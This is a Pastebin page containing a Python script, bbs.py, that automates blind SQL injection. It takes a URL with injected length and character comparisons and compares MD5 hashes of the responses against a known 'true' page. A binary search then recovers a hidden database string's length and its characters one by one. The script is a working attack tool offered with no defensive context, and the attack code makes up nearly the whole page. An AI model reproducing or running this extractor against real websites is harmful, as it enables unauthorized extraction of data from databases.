Advertisement
Guest User

Untitled

a guest
Apr 26th, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. # bbs.py - Blind SQL Binary Search
  3. # Author: Laureline David
  4.  
  5. import requests
  6. from hashlib import md5
  7. from argparse import ArgumentParser
  8.  
  9. def url_hash(url):
  10. resp = requests.get(url)
  11. data = resp.content
  12. return md5(data).hexdigest()
  13.  
  14.  
  15. def binary_search(check, max, min=0):
  16. """
  17. Performs binary. The ''check'' function must return True if the value is less than the argument
  18. :param min: Minimum boundary for the search
  19. :param max: Maximum boundary for the search
  20. :param check: Check function
  21. :return: Search Result
  22. """
  23. def search_left(min, max):
  24. delta = max - min
  25. if delta == 1:
  26. return min if check(min) else max
  27. else:
  28. cur = min + (delta // 2)
  29.  
  30. if check(cur):
  31. # number is less than or equal to cur
  32. return search_left(min, cur)
  33. else:
  34. # number is greater than cur
  35. return search_left(cur, max)
  36.  
  37. if check(max):
  38. return search_left(min, max)
  39. else:
  40. return None
  41.  
  42.  
  43. parser = ArgumentParser(description="Perform blind SQL binary search")
  44.  
  45. parser.add_argument('--true-url', dest='true_url')
  46. subparsers = parser.add_subparsers(dest='mode', help='operation mode')
  47.  
  48. length_mode = subparsers.add_parser('length', help='Searches for length')
  49. length_mode.add_argument('url', help='URL containing the injection that tests for length (1 %parameter)')
  50. length_mode.add_argument('--max', type=int, default=32)
  51.  
  52. chars_mode = subparsers.add_parser('chars', help='Searcher for characters')
  53. chars_mode.add_argument('url', help='URL containing the injection that tests for character values (2 %parameters)')
  54. chars_mode.add_argument('length', type=int, help="Length of the string")
  55.  
  56.  
  57. args = parser.parse_args()
  58.  
  59. true_hash = url_hash(args.true_url)
  60.  
  61. if args.mode == 'length':
  62. def length_search(n):
  63. url = args.url % n
  64. return url_hash(url) == true_hash
  65.  
  66. length = binary_search(length_search, max=args.max)
  67. print(length)
  68. elif args.mode == 'chars':
  69. chars = ['?'] * args.length
  70.  
  71. for p in range(1, args.length + 1):
  72. def chars_search(n):
  73. url = args.url % (p, n)
  74. return url_hash(url) == true_hash
  75.  
  76. chars[p - 1] = binary_search(chars_search, max=128)
  77.  
  78. print(str.join("", map(chr, chars)))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement